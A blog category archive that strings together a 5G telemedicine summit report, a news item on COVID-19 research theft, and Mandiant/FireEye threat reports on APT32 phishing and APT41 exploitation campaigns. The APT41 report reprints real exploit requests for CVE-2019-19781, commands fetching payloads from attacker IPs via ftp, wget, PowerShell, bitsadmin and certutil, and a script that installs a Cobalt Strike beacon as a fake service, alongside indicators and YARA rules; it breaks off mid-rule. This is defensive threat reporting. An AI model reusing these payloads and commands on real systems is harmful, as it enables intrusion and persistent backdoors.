Category Archives: china

Huawei Analyst Summit 2020: China’s telemedicine hinges on its 5G development

As 5G deployment plods along in Canada, the next-generation wireless standard has already been adopted by healthcare practitioners in China. At the Huawei Global Analyst Summit 2020, Dr. Lu QingJun, director at China-Japan Friendship Hospital and a full-time remote healthcare practitioner, shared his thoughts on the impact of the higher quality networks on hospitals of the future.

Related:

Lu gave a personal example by describing one of his previous remote cases at a primary care hospital. In his scenario, the patient had to wait for 25 hours to receive a consultation, due in large part to the 12GB of data that had to be sent over the network. Lu said that with 5G, that time can be cut to just “dozens of minutes”. The dataset is amplified for patients who need multiple tests, such as CT scans and electrocardiograms.

Future health care’s success will be intertwined with network quality.

When describing telemedicine, Lu precited that data, technology, and intelligence will become inseparable from healthcare. Although the course has been set, Lu also noted the perpetual battle to improve privacy and secure data transmission, all of which require new infrastructure for the intelligent hospital.

“We’ve always said that it’s not necessary to replace 4G with 5G in all cases, so we need to identify those cases where only 5G is able to support,” said Lu, noting that the introduction of technology built on 5G should not impede the efficiency of existing workflows.

The conversation then naturally leads to whether existing technologies like fibre internet could fill these roles.

“Hospitals already have fibre access, so do we actually need 5G?” Lu asked rhetorically. “You only say that because you don’t understand 5g…we need mobility, but not only that, we need to upgrade our equipment and currently our equipment is wired.”

 

During the presentation, Lu credited telemedicine in China’s battle against the COIVD-19 pandemic.

Network infrastructures will be the backbone to facilitate new communication demands. Thus, its development needs to keep pace with the ICT industry. Because telemedicine is still relatively new, the industry needs to generate new scenarios as testbeds for these newer technologies, Lu explained. These new use cases, whether they’re generated naturally by demand or synthetically, will help push along the development of these new technologies.

For example, 5G’s bandwidth massive bandwidth improvements could remove the bottleneck present in real-time communication and medical imaging. Increased bandwidth enables more immediate, higher quality remote checkups. It could also simplify the diagnostic process by enabling services like real-time remote full-body scanning, a procedure that generates large image files.

4G’s high latency, unreliableness and error rate presents challenges in realising telemedicine’s true potential. These issues could be solved by migrating to 5G.

Another factor that affects performance is latency. The ITU-R defined Ultra-Reliable Low Latency Communications (URLLC) as one of 5G’s main applications. In a highly-technical and mission-critical application like healthcare, low latency is a key concern.

“The 4G technologies are not enough to meet our needs,” Lu pointed out. “In the past, we compressed the data to make it fit into the smaller pipe. And the 4G latency was not acceptable. For 5G, the latency is very low. It’s almost a real-time so the doctors can get real-time data transfer to provide better services to the patients, especially when we talk about the complex and difficult.”

He specified remote monitoring, remote analysis, remote robotics, and remote visit as crucial areas of focus. He said that while doctors understand the benefits of remote practices, vendors are not yet prepared to manufacture this equipment due to inadequate certification and qualifications.

There are more than 13,000 secondary–or specialist–hospitals in China, and adding telemedicine capabilities to them all would incur significant cost. With that said, developing remote healthcare also stimulates new business opportunities for carriers.

Moreover, Lu said that the entire network stack–the slices, transport network and edge computing could all benefit from being supported by 5G technologies. The benefit isn’t limited to telemedicine but the communication industry as a whole.

In addition, 5G could help to streamline a hospital’s logistic operations like payment. China’s mobile payment system is the most established in the world by far. In 2019, over 81 per cent of the country’s smartphone owners frequently pay through proximity mobile systems such as QR codes. But while China’s digital commerce is being developed at an explosive pace, hospitals of the future will demand more robust transaction support.

“We need to have innovation in the healthcare service provision,” said Lu. “And and we also need to have some payment assurance like basic medical insurance, commercial insurance, and also some banking services support. And that has high requirements on computing on storage and on data processing. These requirements will only be satisfied by adding new ICT technologies.”

China-linked hackers are attempting to steal COVID-19 Vaccine Research

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal COVID-19 vaccine research.

US authorities warned healthcare and scientific researchers that China-linked hackers were attempting to steal research related to treatments and vaccines for COVID-19.

“The Federal Bureau of Investigation (FBI) and Cybersecurity and Infrastructure Security Agency (CISA) are issuing this announcement to raise awareness of the threat to COVID-19-related research. The FBI is investigating the targeting and compromise of U.S. organizations conducting COVID-19-related research by PRC-affiliated cyber actors and non-traditional collectors.” reads the joint alert. “These actors have been observed attempting to identify and illicitly obtain valuable intellectual property (IP) and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research.”

“The F.B.I. and the Department of Homeland Security are preparing to issue a warning that China’s most skilled hackers and spies are working to steal American research in the crash effort to develop vaccines and treatments for the coronavirus. The efforts are part of a surge in cybertheft and attacks by nations seeking advantage in the pandemic.” reported The New York Times.

“These actors have been observed attempting to identify and illicitly obtain valuable intellectual property and public health data related to vaccines, treatments, and testing from networks and personnel affiliated with COVID-19-related research,” reads a statement from the FBI and the CISA.

“China’s efforts to target these sectors pose a significant threat to our nations response to COVID-19”.

The US agencies recommend targeted organizations to adopt cybersecurity best practices to prevent state-sponsored hackers from stealing COVID-19-related material.

“What else is new with China? What else is new? Tell me. I’m not happy with China.” President Trump commented. “We’re watching it very closely,”.

“China’s long history of bad behavior in cyberspace is well documented, so it shouldn’t surprise anyone they are going after the critical organizations involved in the nation’s response to the Covid-19 pandemic,” said Christopher Krebs, the director of the Cybersecurity and Infrastructure Security Agency. He added that the agency would “defend our interests aggressively.”

The Chinese Government rejected the allegation Beijing on Monday.

“We are leading the world in COVID-19 treatment and vaccine research. It is immoral to target China with rumors and slanders in the absence of any evidence,” Foreign Affairs ministry spokesman Zhao Lijian said.

The Chinese government is not the only one interested in COVID-19 research, nation-state hackers from Russia, Iran, and North Korea are launching spear-phishing and misinformation campaigns in the attempt to target organizations and scientists involved in the vaccine research.

Last week the US and the UK issued a joint alert to warn of the rise in cyber attacks carried out by foreign states against healthcare organizations and researchers.

This is my interview on the topic at TRT World

Pierluigi Paganini

(SecurityAffairs – COVID-19, hacking)

The post China-linked hackers are attempting to steal COVID-19 Vaccine Research appeared first on Security Affairs.

Vietnamese Threat Actors APT32 Targeting Wuhan Government and Chinese Ministry of Emergency Management in Latest Example of COVID-19 Related Espionage

From at least January to April 2020, suspected Vietnamese actors APT32 carried out intrusion campaigns against Chinese targets that Mandiant Threat Intelligence believes was designed to collect intelligence on the COVID-19 crisis. Spear phishing messages were sent by the actor to China's Ministry of Emergency Management as well as the government of Wuhan province, where COVID-19 was first identified. While targeting of East Asia is consistent with the activity we’ve previously reported on APT32, this incident, and other publicly reported intrusions, are part of a global increase in cyber espionage related to the crisis, carried out by states desperately seeking solutions and nonpublic information.

Phishing Emails with Tracking Links Target Chinese Government

The first known instance of this campaign was on Jan. 6, 2020, when APT32 sent an email with an embedded tracking link (Figure 1) to China's Ministry of Emergency Management using the sender address lijianxiang1870@163[.]com and the subject 第一期办公设备招标结果报告 (translation: Report on the first quarter results of office equipment bids). The embedded link contained the victim's email address and code to report back to the actors if the email was opened.


Figure 1: Phishing email to China's Ministry of Emergency Management

Mandiant Threat Intelligence uncovered additional tracking URLs that revealed targets in China's Wuhan government and an email account also associated with the Ministry of Emergency Management.

  • libjs.inquirerjs[.]com/script/<VICTIM>@wuhan.gov.cn.png
  • libjs.inquirerjs[.]com/script/<VICTIM>@chinasafety.gov.cn.png
  • m.topiccore[.]com/script/<VICTIM>@chinasafety.gov.cn.png
  • m.topiccore[.]com/script/<VICTIM>@wuhan.gov.cn.png
  • libjs.inquirerjs[.]com/script/<VICTIM>@126.com.png

The libjs.inquirerjs[.]com domain was used in December as a command and control domain for a METALJACK phishing campaign likely targeting Southeast Asian countries.

Additional METALJACK Activity Suggests Campaigns Targeting Mandarin Speakers Interested in COVID-19

APT32 likely used COVID-19-themed malicious attachments against Chinese speaking targets. While we have not uncovered the full execution chain, we uncovered a METALJACK loader displaying a Chinese-Language titled COVID-19 decoy document while launching its payload.

When the METALJACK loader, krpt.dll (MD5: d739f10933c11bd6bd9677f91893986c) is loaded, the export "_force_link_krpt" is likely called. The loader executes one of its embedded resources, a COVID-themed RTF file, displaying the content to the victim and saving the document to %TEMP%.

The decoy document (Figure 2) titled 冠状病毒实时更新:中国正在追踪来自湖北的旅行者, MD5: c5b98b77810c5619d20b71791b820529 (Translation: COVID-19 live updates: China is currently tracking all travelers coming from Hubei Province) displays a copy of a New York Times article to the victim.


Figure 2: COVID-themed decoy document

The malware also loads shellcode in an additional resource, MD5: a4808a329b071a1a37b8d03b1305b0cb, which contains the METALJACK payload. The shellcode performs a system survey to collect the victim's computer name and username and then appends those values to a URL string using libjs.inquirerjs[.]com. It then attempts to call out to the URL. If the callout is successful, the malware loads the METALJACK payload into memory.

It then uses vitlescaux[.]com for command and control.

Outlook

The COVID-19 crisis poses an intense, existential concern to governments, and the current air of distrust is amplifying uncertainties, encouraging intelligence collection on a scale that rivals armed conflict. National, state or provincial, and local governments, as well as non-government organizations and international organizations, are being targeted, as seen in reports. Medical research has been targeted as well, according to public statements by a Deputy Assistant Director of the FBI. Until this crisis ends, we anticipate related cyber espionage will continue to intensify globally.

Indicators

Type

Indicators

Domains

m.topiccore[.]com

jcdn.jsoid[.]com

libjs.inquirerjs[.]com

vitlescaux[.]com

Email Address

lijianxiang1870@163[.]com

Files

MD5: d739f10933c11bd6bd9677f91893986c

METALJACK loader

MD5: a4808a329b071a1a37b8d03b1305b0cb

METALJACK Payload

MD5: c5b98b77810c5619d20b71791b820529

Decoy Document (Not Malicious)

Detecting the Techniques

Platform

Signature Name

Endpoint Security

Generic.mg.d739f10933c11bd6

Network Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic

Email Security

Trojan.Apost.FEC2, Trojan.Apost.FEC3, fe_ml_heuristic

Helix

 

Mandiant Security Validation Actions

  • A150-096 - Malicious File Transfer - APT32, METALJACK, Download
  • A150-119 - Protected Theater - APT32, METALJACK Execution
  • A150-104 - Phishing Email - Malicious Attachment, APT32, Contact Information Lure

MITRE ATT&CK Technique Mapping

Tactic

Techniques

Initial Access

Spearphishing Attachment (T1193), Spearphising Link (T1192)

Execution

Regsvr32 (T1117), User Execution (T1204)

Defense Evasion

Regsvr32 (T1117)

Command and Control

Standard Cryptographic Protocol (T1032), Custom Command and Control Protocol (T1094)

This Is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple Exploits

Beginning this year, FireEye observed Chinese actor APT41 carry out one of the broadest campaigns by a Chinese cyber espionage actor we have observed in recent years. Between January 20 and March 11, FireEye observed APT41 attempt to exploit vulnerabilities in Citrix NetScaler/ADC, Cisco routers, and Zoho ManageEngine Desktop Central at over 75 FireEye customers. Countries we’ve seen targeted include Australia, Canada, Denmark, Finland, France, India, Italy, Japan, Malaysia, Mexico, Philippines, Poland, Qatar, Saudi Arabia, Singapore, Sweden, Switzerland, UAE, UK and USA. The following industries were targeted: Banking/Finance, Construction, Defense Industrial Base, Government, Healthcare, High Technology, Higher Education, Legal, Manufacturing, Media, Non-profit, Oil & Gas, Petrochemical, Pharmaceutical, Real Estate, Telecommunications, Transportation, Travel, and Utility. It’s unclear if APT41 scanned the Internet and attempted exploitation en masse or selected a subset of specific organizations to target, but the victims appear to be more targeted in nature.

Exploitation of CVE-2019-19781 (Citrix Application Delivery Controller [ADC])

Starting on January 20, 2020, APT41 used the IP address 66.42.98[.]220 to attempt exploits of Citrix Application Delivery Controller (ADC) and Citrix Gateway devices with CVE-2019-19781 (published December 17, 2019).


Figure 1: Timeline of key events

The initial CVE-2019-19781 exploitation activity on January 20 and January 21, 2020, involved execution of the command ‘file /bin/pwd’, which may have achieved two objectives for APT41. First, it would confirm whether the system was vulnerable and the mitigation wasn’t applied. Second, it may return architecture-related information that would be required knowledge for APT41 to successfully deploy a backdoor in a follow-up step.  

One interesting thing to note is that all observed requests were only performed against Citrix devices, suggesting APT41 was operating with an already-known list of identified devices accessible on the internet.

POST /vpns/portal/scripts/newbm.pl HTTP/1.1
Host: [redacted]
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.22.0
NSC_NONCE: nsroot
NSC_USER: ../../../netscaler/portal/templates/[redacted]
Content-Length: 96

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `file /bin/pwd`') %]

Figure 2: Example APT41 HTTP traffic exploiting CVE-2019-19781

There is a lull in APT41 activity between January 23 and February 1, which is likely related to the Chinese Lunar New Year holidays which occurred between January 24 and January 30, 2020. This has been a common activity pattern by Chinese APT groups in past years as well.

Starting on February 1, 2020, APT41 moved to using CVE-2019-19781 exploit payloads that initiate a download via the File Transfer Protocol (FTP). Specifically, APT41 executed the command ‘/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd’, which connected to 66.42.98[.]220 over the FTP protocol, logged in to the FTP server with a username of ‘test’ and a password that we have redacted, and then downloaded an unknown payload named ‘bsd’ (which was likely a backdoor).

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 147
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title=[redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/bsd ftp://test:[redacted]\@66.42.98[.]220/bsd`') %]

Figure 3: Example APT41 HTTP traffic exploiting CVE-2019-19781

We did not observe APT41 activity at FireEye customers between February 2 and February 19, 2020. China initiated COVID-19 related quarantines in cities in Hubei province starting on January 23 and January 24, and rolled out quarantines to additional provinces starting between February 2 and February 10. While it is possible that this reduction in activity might be related to the COVID-19 quarantine measures in China, APT41 may have remained active in other ways, which we were unable to observe with FireEye telemetry. We observed a significant uptick in CVE-2019-19781 exploitation on February 24 and February 25. The exploit behavior was almost identical to the activity on February 1, where only the name of the payload ‘un’ changed.

POST /vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1
Accept-Encoding: identity
Content-Length: 145
Connection: close
Nsc_User: ../../../netscaler/portal/templates/[redacted]
User-Agent: Python-urllib/2.7
Nsc_Nonce: nsroot
Host: [redacted]
Content-Type: application/x-www-form-urlencoded

url=http://example.com&title= [redacted]&desc=[% template.new('BLOCK' = 'print `/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un`') %]

Figure 4: Example APT41 HTTP traffic exploiting CVE-2019-19781

Citrix released a mitigation for CVE-2019-19781 on December 17, 2019, and as of January 24, 2020, released permanent fixes for all supported versions of Citrix ADC, Gateway, and SD-WAN WANOP.

Cisco Router Exploitation

On February 21, 2020, APT41 successfully exploited a Cisco RV320 router at a telecommunications organization and downloaded a 32-bit ELF binary payload compiled for a 64-bit MIPS processor named ‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc). It is unknown what specific exploit was used, but there is a Metasploit module that combines two CVE’s (CVE-2019-1653 and CVE-2019-1652) to enable remote code execution on Cisco RV320 and RV325 small business routers and uses wget to download the specified payload.

GET /test/fuc
HTTP/1.1
Host: 66.42.98\.220
User-Agent: Wget
Connection: close

Figure 5: Example HTTP request showing Cisco RV320 router downloading a payload via wget

66.42.98[.]220 also hosted a file name http://66.42.98[.]220/test/1.txt. The content of 1.txt (MD5:  c0c467c8e9b2046d7053642cc9bdd57d) is ‘cat /etc/flash/etc/nk_sysconfig’, which is the command one would execute on a Cisco RV320 router to display the current configuration.

Cisco PSIRT confirmed that fixed software to address the noted vulnerabilities is available and asks customers to review the following security advisories and take appropriate action:

Exploitation of CVE-2020-10189 (Zoho ManageEngine Zero-Day Vulnerability)

On March 5, 2020, researcher Steven Seeley, published an advisory and released proof-of-concept code for a zero-day remote code execution vulnerability in Zoho ManageEngine Desktop Central versions prior to 10.0.474 (CVE-2020-10189). Beginning on March 8, FireEye observed APT41 use 91.208.184[.]78 to attempt to exploit the Zoho ManageEngine vulnerability at more than a dozen FireEye customers, which resulted in the compromise of at least five separate customers. FireEye observed two separate variations of how the payloads (install.bat and storesyncsvc.dll) were deployed. In the first variation the CVE-2020-10189 exploit was used to directly upload “logger.zip”, a simple Java based program, which contained a set of commands to use PowerShell to download and execute install.bat and storesyncsvc.dll.

java/lang/Runtime

getRuntime

()Ljava/lang/Runtime;

Xcmd /c powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/install.bat','C:\
Windows\Temp\install.bat')&powershell $client = new-object System.Net.WebClient;$client.DownloadFile('http://66.42.98[.]220:12345/test/storesyncsvc.dll','
C:\Windows\Temp\storesyncsvc.dll')&C:\Windows\Temp\install.bat

'(Ljava/lang/String;)Ljava/lang/Process;

StackMapTable

ysoserial/Pwner76328858520609

Lysoserial/Pwner76328858520609;

Figure 6: Contents of logger.zip

Here we see a toolmark from the tool ysoserial that was used to create the payload in the POC. The string Pwner76328858520609 is unique to the POC payload, indicating that APT41 likely used the POC as source material in their operation.

In the second variation, FireEye observed APT41 leverage the Microsoft BITSAdmin command-line tool to download install.bat (MD5: 7966c2c546b71e800397a67f942858d0) from known APT41 infrastructure 66.42.98[.]220 on port 12345.

Parent Process: C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe

Process Arguments: cmd /c bitsadmin /transfer bbbb http://66.42.98[.]220:12345/test/install.bat C:\Users\Public\install.bat

Figure 7: Example FireEye Endpoint Security event depicting successful CVE-2020-10189 exploitation

In both variations, the install.bat batch file was used to install persistence for a trial-version of Cobalt Strike BEACON loader named storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f).

@echo off

set "WORK_DIR=C:\Windows\System32"

set "DLL_NAME=storesyncsvc.dll"

set "SERVICE_NAME=StorSyncSvc"

set "DISPLAY_NAME=Storage Sync Service"

set "DESCRIPTION=The Storage Sync Service is the top-level resource for File Sync. It creates sync relationships with multiple storage accounts via multiple sync groups. If this service is stopped or disabled, applications will be unable to run collectly."

 sc stop %SERVICE_NAME%

sc delete %SERVICE_NAME%

mkdir %WORK_DIR%

copy "%~dp0%DLL_NAME%" "%WORK_DIR%" /Y

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "%SERVICE_NAME%" /t REG_MULTI_SZ /d "%SERVICE_NAME%" /f

sc create "%SERVICE_NAME%" binPath= "%SystemRoot%\system32\svchost.exe -k %SERVICE_NAME%" type= share start= auto error= ignore DisplayName= "%DISPLAY_NAME%"

SC failure "%SERVICE_NAME%" reset= 86400 actions= restart/60000/restart/60000/restart/60000

sc description "%SERVICE_NAME%" "%DESCRIPTION%"

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Services\%SERVICE_NAME%\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%WORK_DIR%\%DLL_NAME%" /f

net start "%SERVICE_NAME%"

Figure 8: Contents of install.bat

Storesyncsvc.dll was a Cobalt Strike BEACON implant (trial-version) which connected to exchange.dumb1[.]com (with a DNS resolution of 74.82.201[.]8) using a jquery malleable command and control (C2) profile.

GET /jquery-3.3.1.min.js HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
Cookie: __cfduid=CdkIb8kXFOR_9Mn48DQwhIEuIEgn2VGDa_XZK_xAN47OjPNRMpJawYvnAhPJYM
DA8y_rXEJQGZ6Xlkp_wCoqnImD-bj4DqdTNbj87Rl1kIvZbefE3nmNunlyMJZTrDZfu4EV6oxB8yKMJfLXydC5YF9OeZwqBSs3Tun12BVFWLI
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive Cache-Control: no-cache

Figure 9: Example APT41 Cobalt Strike BEACON jquery malleable C2 profile HTTP request

Within a few hours of initial exploitation, APT41 used the storescyncsvc.dll BEACON backdoor to download a secondary backdoor with a different C2 address that uses Microsoft CertUtil, a common TTP that we’ve observed APT41 use in past intrusions, which they then used to download 2.exe (MD5: 3e856162c36b532925c8226b4ed3481c). The file 2.exe was a VMProtected Meterpreter downloader used to download Cobalt Strike BEACON shellcode. The usage of VMProtected binaries is another very common TTP that we’ve observed this group leverage in multiple intrusions in order to delay analysis of other tools in their toolkit.

GET /2.exe HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.3
Host: 91.208.184[.]78

Figure 10: Example HTTP request downloading ‘2.exe’ VMProtected Meterpreter downloader via CertUtil

certutil  -urlcache -split -f http://91.208.184[.]78/2.exe

Figure 11: Example CertUtil command to download ‘2.exe’ VMProtected Meterpreter downloader

The Meterpreter downloader ‘TzGG’ was configured to communicate with 91.208.184[.]78 over port 443 to download the shellcode (MD5: 659bd19b562059f3f0cc978e15624fd9) for Cobalt Strike BEACON (trial-version).

GET /TzGG HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0)
Host: 91.208.184[.]78:443
Connection: Keep-Alive
Cache-Control: no-cache

Figure 12: Example HTTP request downloading ‘TzGG’ shellcode for Cobalt Strike BEACON

The downloaded BEACON shellcode connected to the same C2 server: 91.208.184[.]78. We believe this is an example of the actor attempting to diversify post-exploitation access to the compromised systems.

ManageEngine released a short term mitigation for CVE-2020-10189 on January 20, 2020, and subsequently released an update on March 7, 2020, with a long term fix.

Outlook

This activity is one of the most widespread campaigns we have seen from China-nexus espionage actors in recent years. While APT41 has previously conducted activity with an extensive initial entry such as the trojanizing of NetSarang software, this scanning and exploitation has focused on a subset of our customers, and seems to reveal a high operational tempo and wide collection requirements for APT41.

It is notable that we have only seen these exploitation attempts leverage publicly available malware such as Cobalt Strike and Meterpreter. While these backdoors are full featured, in previous incidents APT41 has waited to deploy more advanced malware until they have fully understood where they were and carried out some initial reconnaissance. In 2020, APT41 continues to be one of the most prolific threats that FireEye currently tracks. This new activity from this group shows how resourceful and how quickly they can leverage newly disclosed vulnerabilities to their advantage.

Previously, FireEye Mandiant Managed Defense identified APT41 successfully leverage CVE-2019-3396 (Atlassian Confluence) against a U.S. based university. While APT41 is a unique state-sponsored Chinese threat group that conducts espionage, the actor also conducts financially motivated activity for personal gain.

Indicators

Type

Indicator(s)

CVE-2019-19781 Exploitation (Citrix Application Delivery Control)

66.42.98[.]220

CVE-2019-19781 exploitation attempts with a payload of ‘file /bin/pwd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/bsd’

CVE-2019-19781 exploitation attempts with a payload of ‘/usr/bin/ftp -o /tmp/un ftp://test:[redacted]\@66.42.98[.]220/un’

/tmp/bsd

/tmp/un

Cisco Router Exploitation

66.42.98\.220

‘1.txt’ (MD5:  c0c467c8e9b2046d7053642cc9bdd57d)

‘fuc’ (MD5: 155e98e5ca8d662fad7dc84187340cbc

CVE-2020-10189 (Zoho ManageEngine Desktop Central)

66.42.98[.]220

91.208.184[.]78

74.82.201[.]8

exchange.dumb1[.]com

install.bat (MD5: 7966c2c546b71e800397a67f942858d0)

storesyncsvc.dll (MD5: 5909983db4d9023e4098e56361c96a6f)

C:\Windows\Temp\storesyncsvc.dll

C:\Windows\Temp\install.bat

2.exe (MD5: 3e856162c36b532925c8226b4ed3481c)

C:\Users\[redacted]\install.bat

TzGG (MD5: 659bd19b562059f3f0cc978e15624fd9)

C:\ManageEngine\DesktopCentral_Server\jre\bin\java.exe spawning cmd.exe and/or bitsadmin.exe

Certutil.exe downloading 2.exe and/or payloads from 91.208.184[.]78

PowerShell downloading files with Net.WebClient

Detecting the Techniques

FireEye detects this activity across our platforms. This table contains several specific detection names from a larger list of detections that were available prior to this activity occurring.

Platform

Signature Name

Endpoint Security

 

BITSADMIN.EXE MULTISTAGE DOWNLOADER (METHODOLOGY)

CERTUTIL.EXE DOWNLOADER A (UTILITY)

Generic.mg.5909983db4d9023e

Generic.mg.3e856162c36b5329

POWERSHELL DOWNLOADER (METHODOLOGY)

SUSPICIOUS BITSADMIN USAGE B (METHODOLOGY)

SAMWELL (BACKDOOR)

SUSPICIOUS CODE EXECUTION FROM ZOHO MANAGE ENGINE (EXPLOIT)

Network Security

Backdoor.Meterpreter

DTI.Callback

Exploit.CitrixNetScaler

Trojan.METASTAGE

Exploit.ZohoManageEngine.CVE-2020-10198.Pwner

Exploit.ZohoManageEngine.CVE-2020-10198.mdmLogUploader

Helix

CITRIX ADC [Suspicious Commands]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Attempt]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Exploit Success]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Payload Access]
 EXPLOIT - CITRIX ADC [CVE-2019-19781 Scanning]
 MALWARE METHODOLOGY [Certutil User-Agent]
 WINDOWS METHODOLOGY [BITSadmin Transfer]
 WINDOWS METHODOLOGY [Certutil Downloader]

MITRE ATT&CK Technique Mapping

ATT&CK

Techniques

Initial Access

External Remote Services (T1133), Exploit Public-Facing Application (T1190)

Execution

PowerShell (T1086), Scripting (T1064)

Persistence

New Service (T1050)

 

Privilege Escalation

Exploitation for Privilege Escalation (T1068)

 

Defense Evasion

BITS Jobs (T1197), Process Injection (T1055)

 

 

Command And Control

Remote File Copy (T1105), Commonly Used Port (T1436), Uncommonly Used Port (T1065), Custom Command and Control Protocol (T1094), Data Encoding (T1132), Standard Application Layer Protocol (T1071)

Appendix A: Discovery Rules

The following Yara rules serve as examples of discovery rules for APT41 actor TTPs, turning the adversary methods or tradecraft into new haystacks for purposes of detection or hunting. For all tradecraft-based discovery rules, we recommend deliberate testing and tuning prior to implementation in any production system. Some of these rules are tailored to build concise haystacks that are easy to review for high-fidelity detections. Some of these rules are broad in aperture that build larger haystacks for further automation or processing in threat hunting systems.

import "pe"

rule ExportEngine_APT41_Loader_String

{

            meta:

                        author = "@stvemillertime"

                        description "This looks for a common APT41 Export DLL name in BEACON shellcode loaders, such as loader_X86_svchost.dll"

            strings:

                        $pcre = /loader_[\x00-\x7F]{1,}\x00/

            condition:

                        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_ShortName

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a single character"

    strings:

        $pcre = /[A-Za-z0-9]{1}\.(dll|exe|dat|bin|sys)/

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule ExportEngine_xArch

{

    meta:

        author = "@stvemillertime"

        description = "This looks for Win PEs where Export DLL name is a something like x32.dat"

            strings:

             $pcre = /[\x00-\x7F]{1,}x(32|64|86)\.dat\x00/

            condition:

             uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $pcre at pe.rva_to_offset(uint32(pe.rva_to_offset(pe.data_directories[pe.IMAGE_DIRECTORY_ENTRY_EXPORT].virtual_address) + 12))

}

rule RareEquities_LibTomCrypt

{

    meta:

        author = "@stvemillertime"

        description = "This looks for executables with strings from LibTomCrypt as seen by some APT41-esque actors https://github.com/libtom/libtomcrypt - might catch everything BEACON as well. You may want to exclude Golang and UPX packed samples."

    strings:

        $a1 = "LibTomMath"

    condition:

        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and $a1

}

rule RareEquities_KCP

{

    meta:

        author = "@stvemillertime"

        description = "This is a wide catchall rule looking for executables with equities for a transport library called KCP, https://github.com/skywind3000/kcp Matches on this rule may have built-in KCP transport ability."

    strings:

        $a01 = "[RO] %ld bytes"

        $a02 = "recv sn=%lu"

        $a03 = "[RI] %d bytes"

        $a04 = "input ack: sn=%lu rtt=%ld rto=%ld"

        $a05 = "input psh: sn=%lu ts=%lu"

        $a06 = "input probe"

        $a07 = "input wins: %lu"

        $a08 = "rcv_nxt=%lu\\n"

        $a09 = "snd(buf=%d, queue=%d)\\n"

        $a10 = "rcv(buf=%d, queue=%d)\\n"

        $a11 = "rcvbuf"

    condition:

        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and filesize < 5MB and 3 of ($a*)

}

rule ConventionEngine_Term_Users

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "09e4e6fa85b802c46bc121fcaecc5666"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Users[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Term_Desktop

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "71cdba3859ca8bd03c1e996a790c04f9"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

                        $pcre = /RSDS[\x00-\xFF]{20}[a-zA-Z]:\\[\x00-\xFF]{0,200}Desktop[\x00-\xFF]{0,200}\.pdb\x00/ nocase ascii

            condition:

                        (uint16(0) == 0x5A4D) and uint32(uint32(0x3C)) == 0x00004550 and $pcre

}

rule ConventionEngine_Anomaly_MultiPDB_Double

{

            meta:

                        author = "@stvemillertime"

                        description = "Searching for PE files with PDB path keywords, terms or anomalies."

                        sample_md5 = "013f3bde3f1022b6cf3f2e541d19353c"

                        ref_blog = "https://www.fireeye.com/blog/threat-research/2019/08/definitive-dossier-of-devilish-debug-details-part-one-pdb-paths-malware.html"

            strings:

